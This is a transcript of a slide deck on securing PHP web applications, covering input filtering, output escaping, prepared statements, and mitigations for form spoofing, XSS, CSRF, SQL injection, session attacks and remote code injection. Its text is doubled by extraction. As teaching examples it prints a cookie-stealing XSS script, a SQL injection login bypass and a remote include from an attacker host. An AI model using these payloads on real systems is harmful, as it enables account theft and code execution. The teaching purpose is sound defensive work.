securing php applications
DESCRIPTION
* Definition * Basic Principles * Input Filtering * Escaping Output * Prepared Statements * Classifications of AttacksTRANSCRIPT
Securing PHP Securing PHP ApplicationsApplicationsReggie Niccolo SantosReggie Niccolo SantosUP ITDCUP ITDCAdapted from Regnard Raquedan’s set of slidesAdapted from Regnard Raquedan’s set of slides
OutlineOutline
DefinitionDefinition
Basic PrinciplesBasic Principles
Input FilteringInput Filtering
Whitelist vs. Blacklist ApproachWhitelist vs. Blacklist Approach
Escaping OutputEscaping Output
OutlineOutline
Prepared StatementsPrepared Statements
Classifications of AttacksClassifications of Attacks
Form SpoofingForm Spoofing
XSS (Cross-Site Scripting)XSS (Cross-Site Scripting)
CSRF (Cross-Site Request Forgery)CSRF (Cross-Site Request Forgery)
OutlineOutline
Classifications of AttacksClassifications of Attacks
SQL InjectionSQL Injection
Session FixationSession Fixation
Session HijackingSession Hijacking
Remote Code InjectionRemote Code Injection
What is Security?What is Security?
According to the PHP Security Consortium:According to the PHP Security Consortium:
Security is a Security is a measurementmeasurement, not a , not a characteristiccharacteristicSecurity must be balanced with Security must be balanced with expenseexpenseSecurity must be balanced with Security must be balanced with usabilityusabilitySecurity must be Security must be partpart of the of the designdesign
Basic PrinciplesBasic Principles
Consider illegitimate uses of your applicationConsider illegitimate uses of your application
Educate yourselfEducate yourself
If nothing else, filter all external dataIf nothing else, filter all external data
A Secure MindsetA Secure Mindset
A security-conscious mindset assumes that all A security-conscious mindset assumes that all data received in input is tainted and this data data received in input is tainted and this data must be filtered before use and escaped when must be filtered before use and escaped when leaving the application.leaving the application.
All Input is TaintedAll Input is Tainted
If the data originates from a foreign source If the data originates from a foreign source such as user form input, the query string, or such as user form input, the query string, or even an RSS feed, it cannot be trusted. It is even an RSS feed, it cannot be trusted. It is tainted datatainted data..
Before processing tainted data, it is important Before processing tainted data, it is important to to filterfilter and and sanitizesanitize it. Once the data is it. Once the data is filtered and sanitized, then it is considered filtered and sanitized, then it is considered safesafe to use. to use.
Whitelist vs. BlacklistWhitelist vs. Blacklist
Blacklist approachBlacklist approach
the less restrictive form of filtering that assumes the less restrictive form of filtering that assumes the programmer knows everything thatthe programmer knows everything that should not should not be allowed to pass throughbe allowed to pass through
Whitelist filteringWhitelist filtering
much more restrictive, yet it affords the much more restrictive, yet it affords the programmer the ability to programmer the ability to accept only the input accept only the input s/he expects to receives/he expects to receive
Input FilteringInput Filtering
One of the key concepts you must accept is One of the key concepts you must accept is that user input is unreliable and not to be that user input is unreliable and not to be trustedtrusted
Partially lostPartially lost in transmission between server in transmission between server and clientand clientCorruptedCorrupted by some in-between process by some in-between processModifiedModified by the user in an unexpected manner by the user in an unexpected mannerIntentional attempt to Intentional attempt to gain unauthorized gain unauthorized accessaccess or to or to crashcrash the application the application
Example: Input FilteringExample: Input Filtering
<form method="POST"><form method="POST">Username: <input type="text" name="username" /><br />Username: <input type="text" name="username" /><br />Password: <input type="text" name="password" /><br />Password: <input type="text" name="password" /><br />Favourite colour:Favourite colour:<select name="colour"><select name="colour">
<option>Red</option><option>Red</option><option>Blue</option><option>Blue</option><option>Yellow</option><option>Yellow</option><option>Green</option><option>Green</option>
</select><br /></select><br /><input type="submit" /><input type="submit" /></form></form>
Example: Input FilteringExample: Input Filtering
$clean = array();$clean = array();if (ctype_alpha($_POST[‘username’]))if (ctype_alpha($_POST[‘username’])){{
$clean[’username’] = $_POST[’username’];$clean[’username’] = $_POST[’username’];}}if (ctype_alnum($_POST[’password’]))if (ctype_alnum($_POST[’password’])){{
$clean[’password’] = $_POST[’password’];$clean[’password’] = $_POST[’password’];}}$colours = array(’Red’, ’Blue’, ’Yellow’, ’Green’);$colours = array(’Red’, ’Blue’, ’Yellow’, ’Green’);if (in_array($_POST[’colour’], $colours))if (in_array($_POST[’colour’], $colours)){{
$clean[’colour’] = $_POST[’colour’];$clean[’colour’] = $_POST[’colour’];}}
Escaping OutputEscaping Output
Whereas filtering input protects your Whereas filtering input protects your application from bad or harmful data, escaping application from bad or harmful data, escaping output protects the client and user from output protects the client and user from potentially damaging commandspotentially damaging commands
To escape output intended for a web browser, To escape output intended for a web browser, PHP provides htmlspecialchars() and PHP provides htmlspecialchars() and htmlentities(), the latter being the most htmlentities(), the latter being the most exhaustive and, therefore, recommended exhaustive and, therefore, recommended function for escapingfunction for escaping
Example: Escaping Example: Escaping OutputOutput
$html = array();$html = array();$html[’message’] = htmlentities($user_message, $html[’message’] = htmlentities($user_message, ENT_QUOTES, ’UTF-8’);ENT_QUOTES, ’UTF-8’);echo $html[’message’];echo $html[’message’];
Prepared StatementsPrepared Statements// First, filter the input// First, filter the input$clean = array();$clean = array();if (ctype_alpha($_POST[’username’]))if (ctype_alpha($_POST[’username’])){{
$clean[’username’] = $_POST[’username’];$clean[’username’] = $_POST[’username’];}}// Set a named placeholder in the SQL statement for username// Set a named placeholder in the SQL statement for username$sql = ’SELECT * FROM users WHERE username = :username’;$sql = ’SELECT * FROM users WHERE username = :username’;// Assume the database handler exists; prepare the statement// Assume the database handler exists; prepare the statement$stmt = $dbh->prepare($sql);$stmt = $dbh->prepare($sql);// Bind a value to the parameter// Bind a value to the parameter$stmt->bindParam(’:username’, $clean[’username’]);$stmt->bindParam(’:username’, $clean[’username’]);// Execute and fetch results// Execute and fetch results$stmt->execute();$stmt->execute();$results = $stmt->fetchAll();$results = $stmt->fetchAll();
Website SecurityWebsite Security
The security of the elements of a website The security of the elements of a website through which an attacker can interface with through which an attacker can interface with your application.your application.
These vulnerable points of entry include These vulnerable points of entry include formsforms and and URLsURLs
Spoofed FormsSpoofed Forms
The easiest way is to simply copy a target form The easiest way is to simply copy a target form and execute it from a different locationand execute it from a different location
Example: Form SpoofingExample: Form Spoofing<form method="POST" action="process.php"><form method="POST" action="process.php"> <p>Street: <input type="text" name="street" <p>Street: <input type="text" name="street" maxlength="100" /></p>maxlength="100" /></p> <p>City: <input type="text" name="city" maxlength="50" <p>City: <input type="text" name="city" maxlength="50" /></p>/></p> <p>State:<p>State: <select name="state"><select name="state"> <option value="">Pick a state...</option><option value="">Pick a state...</option> <option value="AL">Alabama</option><option value="AL">Alabama</option> <option value="AK">Alaska</option><option value="AK">Alaska</option> <option value="AR">Arizona</option><option value="AR">Arizona</option> <!-- options continue for all 50 states --><!-- options continue for all 50 states --> </select></select> </p></p> <p>Zip: <input type="text" name="zip" maxlength="5" /></p><p>Zip: <input type="text" name="zip" maxlength="5" /></p> <p><input type="submit" /></p><p><input type="submit" /></p></form></form>
Example: Form SpoofingExample: Form Spoofing
<form method="POST" <form method="POST" action="http://example.org/process.php">action="http://example.org/process.php"> <p>Street: <input type="text" <p>Street: <input type="text" name="street" /></p>name="street" /></p> <p>City: <input type="text" name="city" <p>City: <input type="text" name="city" /></p>/></p> <p>State: <input type="text" <p>State: <input type="text" name="state" /></p>name="state" /></p> <p>Zip: <input type="text" name="zip" <p>Zip: <input type="text" name="zip" /></p>/></p> <p><input type="submit" /></p><p><input type="submit" /></p></form></form>
Form Spoofing: Risk Form Spoofing: Risk MitigationMitigation
Check the referrerCheck the referrer
Not 100% secureNot 100% secure
Do not rely Do not rely solelysolely on client-side validation on client-side validation
Filter inputFilter input to ensure that all data must to ensure that all data must conform to a list of acceptable values, and conform to a list of acceptable values, and even spoofed forms will not be able to get even spoofed forms will not be able to get around your server-side filtering rulesaround your server-side filtering rules
Cross Site Scripting Cross Site Scripting (XSS)(XSS)
Exploits the user’s trustExploits the user’s trust in the application in the application and is usually an effort to and is usually an effort to steal user steal user information,information, such as cookies and other such as cookies and other personally identifiable datapersonally identifiable data
All applications that display input are All applications that display input are at riskat risk
Example: XSSExample: XSS
<form method="POST" action="process.php"><form method="POST" action="process.php"><p>Add a comment:</p><p>Add a comment:</p><p><p>
<textarea name=“comment”></textarea><textarea name=“comment”></textarea></p></p><p><input type="submit" /></p><p><input type="submit" /></p>
</form></form>
Example: Malicious Input Example: Malicious Input for XSSfor XSS
<script><script>document.location = document.location = “http://example.org/getcookies.php?cookies=“ “http://example.org/getcookies.php?cookies=“ + document.cookie;+ document.cookie;</script></script>
//brings to a new location with cookies//brings to a new location with cookies
XSS: Risk MitigationXSS: Risk Mitigation
XSS fails if application escapes outputXSS fails if application escapes output
Cross-Site Request Cross-Site Request Forgeries (CSRF)Forgeries (CSRF)
An attack that attempts to cause a victim to An attack that attempts to cause a victim to unknowingly send arbitrary HTTP unknowingly send arbitrary HTTP requestsrequests, usually to URLs requiring privileged , usually to URLs requiring privileged access and using the existing session of the access and using the existing session of the victim to determine accessvictim to determine access
XSS versus CSRFXSS versus CSRF
Whereas an XSS attack exploits the user’s trust Whereas an XSS attack exploits the user’s trust in an application, a forged request in an application, a forged request exploits an exploits an application’s trust in a userapplication’s trust in a user, since the , since the request appears to be legitimate and it is request appears to be legitimate and it is difficult for the application to determine difficult for the application to determine whether the user intended for it to take placewhether the user intended for it to take place
Scenario: CSRF Attack Scenario: CSRF Attack
Suppose you have a web site in which users Suppose you have a web site in which users register for an account and then browse a register for an account and then browse a catalog of books for purchasecatalog of books for purchase
Again, suppose that a malicious user signs up Again, suppose that a malicious user signs up for an account and proceeds through the for an account and proceeds through the process of purchasing a book from the siteprocess of purchasing a book from the site
Scenario: CSRF AttackScenario: CSRF Attack
Malicious user discovers:Malicious user discovers:She must log in to make a purchaseShe must log in to make a purchaseAfter selecting a book for purchase, she clicks the buy After selecting a book for purchase, she clicks the buy button, which redirects her to checkout.phpbutton, which redirects her to checkout.phpShe sees that the action to checkout.php is a POST She sees that the action to checkout.php is a POST action but wonders whether passing parameters to action but wonders whether passing parameters to checkout.php through the query string (GET) will checkout.php through the query string (GET) will workworkWhen passing the same form values through the When passing the same form values through the query string (i.e. checkout.php?query string (i.e. checkout.php?isbn=0312863551&qty=1), she notices that she has, isbn=0312863551&qty=1), she notices that she has, in fact, successfully purchased a bookin fact, successfully purchased a book
Scenario: CSRF AttackScenario: CSRF Attack
With this knowledge, the malicious user can With this knowledge, the malicious user can cause others to make purchases at your site cause others to make purchases at your site without their knowledge.without their knowledge.
<img <img src="http://example.org/checkout.phpsrc="http://example.org/checkout.php?isbn=0312863551&qty=1" />?isbn=0312863551&qty=1" />
CSRF: Risk MitigationCSRF: Risk Mitigation
Force the use of POST over GETForce the use of POST over GET
Use Use tokentoken method method
Token MethodToken Method
<?php<?phpsession_start();session_start();$token = md5(uniqid(rand(), TRUE));$token = md5(uniqid(rand(), TRUE));$_SESSION[’token’] = $token;$_SESSION[’token’] = $token;
?>?><form action="checkout.php" method="POST"><form action="checkout.php" method="POST">
<input type="hidden" name="token" value="<?php <input type="hidden" name="token" value="<?php echo $token; ?>" />echo $token; ?>" />
<!-- Remainder of form --><!-- Remainder of form --></form></form>
Token CheckingToken Checking
if (isset($_SESSION[’token’])if (isset($_SESSION[’token’])&& isset($_POST[’token’])&& isset($_POST[’token’])&& $_POST[’token’] == $_SESSION[’token’])&& $_POST[’token’] == $_SESSION[’token’])
{{// Token is valid, continue processing form data// Token is valid, continue processing form data}}
Database SecurityDatabase Security
Attacks on databases via web Attacks on databases via web applications is commonly done via applications is commonly done via SQL SQL injectionsinjections
Occurs when a malicious user Occurs when a malicious user experimentsexperiments on a form to on a form to gain gain information about a databaseinformation about a database
Database SecurityDatabase Security
After gaining sufficient knowledge — After gaining sufficient knowledge — usually from database error usually from database error messagesmessages — the attacker is equipped — the attacker is equipped to exploit the form for any possible to exploit the form for any possible vulnerabilities by vulnerabilities by injecting SQL into injecting SQL into form fieldsform fields
Example: SQL InjectionExample: SQL Injection
<form method="login.php" action="POST"><form method="login.php" action="POST">Username: <input type="text" name="username" /><br Username: <input type="text" name="username" /><br
/>/>Password: <input type="password" Password: <input type="password"
name="password" /><br />name="password" /><br /><input type="submit" value="Log In" /><input type="submit" value="Log In" />
</form></form>
Example: SQL InjectionExample: SQL Injection
$username = $_POST[’username’];$username = $_POST[’username’];$password = md5($_POST[’password’]);$password = md5($_POST[’password’]);$sql = "SELECT * FROM users$sql = "SELECT * FROM usersWHERE username = ’{$username}’ ANDWHERE username = ’{$username}’ ANDpassword = ’{$password}’";password = ’{$password}’";/* database connection and query code *//* database connection and query code */if (count($results) > 0)if (count($results) > 0){{// Successful login attempt// Successful login attempt}}
SQL InjectionSQL Injection
username’ OR 1 = 1 –-username’ OR 1 = 1 –-
Query becomes:Query becomes:SELECT *SELECT *FROM usersFROM users
WHERE username = ’username’ OR 1 = 1 WHERE username = ’username’ OR 1 = 1 --’ AND--’ ANDpassword = ’d41d8cd98f00b204e9800998ecf8427e’password = ’d41d8cd98f00b204e9800998ecf8427e’
SQL Injection: Risk SQL Injection: Risk MitigationMitigation
Properly filtering inputProperly filtering input and and escaping the escaping the outputoutput for SQL will help minimze the risk of an for SQL will help minimze the risk of an attackattack
To escape output for an SQL query, use the To escape output for an SQL query, use the driver-specific driver-specific *_escape_string()*_escape_string() function for function for your database.your database.
BindingBinding$query = 'select name, district from city $query = 'select name, district from city where countrycode=?';where countrycode=?';if ($stmt = $db->prepare($query) )if ($stmt = $db->prepare($query) ){ { $countrycode = 'AUS'; $countrycode = 'AUS'; $stmt->bind_param("s", $countrycode); $stmt->bind_param("s", $countrycode); $stmt->execute(); $stmt->execute(); $stmt->bind_result($name, $district); $stmt->bind_result($name, $district); while ($stmt->fetch()) while ($stmt->fetch()) { { echo $name.', '.$district;echo $name.', '.$district; echo '<br />';echo '<br />'; } } $stmt->close(); $stmt->close(); } } $db->close();$db->close();
Session SecuritySession Security
Whereas most of the other attacks can be Whereas most of the other attacks can be prevented by filtering input and escaping prevented by filtering input and escaping output, output, session attacks cannot session attacks cannot
Instead, it is necessary to Instead, it is necessary to planplan for them and for them and identify potential problem areasidentify potential problem areas of your of your applicationapplication
Scenario: SessionScenario: Session
When a user first encounters a page in your When a user first encounters a page in your application that calls application that calls session_start()session_start(), a , a session is created for the user. PHP session is created for the user. PHP generates a random session identifier to generates a random session identifier to identify the user, and then it sends a Set-identify the user, and then it sends a Set-Cookie header to the client.Cookie header to the client.
Scenario: SessionScenario: Session
By default, the name of this cookie is By default, the name of this cookie is PHPSESSIDPHPSESSID, but it is possible to change the , but it is possible to change the cookie name in cookie name in php.iniphp.ini or by using the or by using the session_name()session_name() function functionOn subsequent visits, the client identifies the On subsequent visits, the client identifies the user with the cookie, and this is how the user with the cookie, and this is how the application maintains stateapplication maintains state
Session FixationSession Fixation
Act of setting the session identifier manually Act of setting the session identifier manually through the query string, forcing the use of a through the query string, forcing the use of a particular sessionparticular session<a href="http://example.org/index.php?<a href="http://example.org/index.php?PHPSESSID=1234">Click here</a>PHPSESSID=1234">Click here</a>
Session FixationSession Fixation
While the user accesses your site through this While the user accesses your site through this session, they may provide sensitive information session, they may provide sensitive information or even login credentialsor even login credentials
If the user logs in while using the provided If the user logs in while using the provided session identifier, the attacker may be able to session identifier, the attacker may be able to “ride” on the same session and gain access to “ride” on the same session and gain access to the user’s account.the user’s account.
Session Fixation: Risk Session Fixation: Risk MitigationMitigation
Every time a user’s access level changes, it is Every time a user’s access level changes, it is necessary to regenerate the session identifiernecessary to regenerate the session identifier
session_start();session_start();// If the user login is successful, regenerate the // If the user login is successful, regenerate the session IDsession IDif (authenticate())if (authenticate()){{
session_regenerate_id();session_regenerate_id();}}
Session HijackingSession Hijacking
Generic term used to describe Generic term used to describe any any means by which an attacker gains a means by which an attacker gains a user’s valid session identifieruser’s valid session identifier (rather (rather than providing one of his/her own)than providing one of his/her own)
Session HijackingSession Hijacking
For example, suppose that a user logs For example, suppose that a user logs in. If the session identifier is in. If the session identifier is regenerated, they have a new session regenerated, they have a new session ID. What if ID. What if an attacker discovers this an attacker discovers this new ID and attempts to use itnew ID and attempts to use it to to gain access through that user’s session? gain access through that user’s session? It is then necessary to use other means It is then necessary to use other means to identify the user.to identify the user.
Session Hijacking: Risk Session Hijacking: Risk MitigationMitigation
One way to identify the user in addition to the One way to identify the user in addition to the session identifier is to session identifier is to check various request check various request headersheaders sent by the client sent by the client
One request header that is particularly helpful One request header that is particularly helpful and does not change between requests is the and does not change between requests is the User-AgentUser-Agent header header
Risk Mitigation: After Risk Mitigation: After logging inlogging in
$_SESSION[’user_agent’] = $_SESSION[’user_agent’] = $_SERVER[’HTTP_USER_AGENT’];$_SERVER[’HTTP_USER_AGENT’];
Risk Mitigation: CheckRisk Mitigation: Check
if ($_SESSION[’user_agent’] != if ($_SESSION[’user_agent’] != $_SERVER[’HTTP_USER_AGENT’])$_SERVER[’HTTP_USER_AGENT’]){{
// Force user to log in again// Force user to log in againexit;exit;
}}
File System SecurityFile System Security
PHP has the ability to PHP has the ability to directly access the directly access the filesystemfilesystem and even and even execute shell execute shell commandscommands
Remote Code InjectionRemote Code Injection
Occurs when an attacker is able to cause your Occurs when an attacker is able to cause your application to application to execute PHP code of their execute PHP code of their choosingchoosing.=.=
Simple Include & ExploitSimple Include & Exploit
include "{$_GET[’section’]}/data.inc.php";include "{$_GET[’section’]}/data.inc.php";
http://example.org/?section=http%3A%2Fhttp://example.org/?section=http%3A%2F%2Fevil.example.org%2Fattack.inc%3F%2Fevil.example.org%2Fattack.inc%3F
include "include "http://evil.example.org/attack.inc?/data.inc.phphttp://evil.example.org/attack.inc?/data.inc.php";";
Remote Code Injection: Remote Code Injection: Risk MitigationRisk Mitigation
Filtering all input and Filtering all input and never using tainted never using tainted data in an include or require statementdata in an include or require statement
Controlled InputControlled Input
$clean = array();$clean = array();$sections = array(’home’, ’news’, ’photos’, ’blog’);$sections = array(’home’, ’news’, ’photos’, ’blog’);if (in_array($_GET[’section’], $sections))if (in_array($_GET[’section’], $sections)){{
$clean[’section’] = $_GET[’section’];$clean[’section’] = $_GET[’section’];}}elseelse{{
$clean[’section’] = ’home’;$clean[’section’] = ’home’;}}include "{clean[’section’]}/data.inc.php";include "{clean[’section’]}/data.inc.php";
OutlineOutline
DefinitionDefinition
Basic PrinciplesBasic Principles
Input FilteringInput Filtering
Whitelist vs. Blacklist ApproachWhitelist vs. Blacklist Approach
Escaping OutputEscaping Output
OutlineOutline
Prepared StatementsPrepared Statements
Classifications of AttacksClassifications of Attacks
Form SpoofingForm Spoofing
XSS (Cross-Site Scripting)XSS (Cross-Site Scripting)
CSRF (Cross-Site Request Forgery)CSRF (Cross-Site Request Forgery)
OutlineOutline
Classifications of AttacksClassifications of Attacks
SQL InjectionSQL Injection
Session FixationSession Fixation
Session HijackingSession Hijacking
Remote Code InjectionRemote Code Injection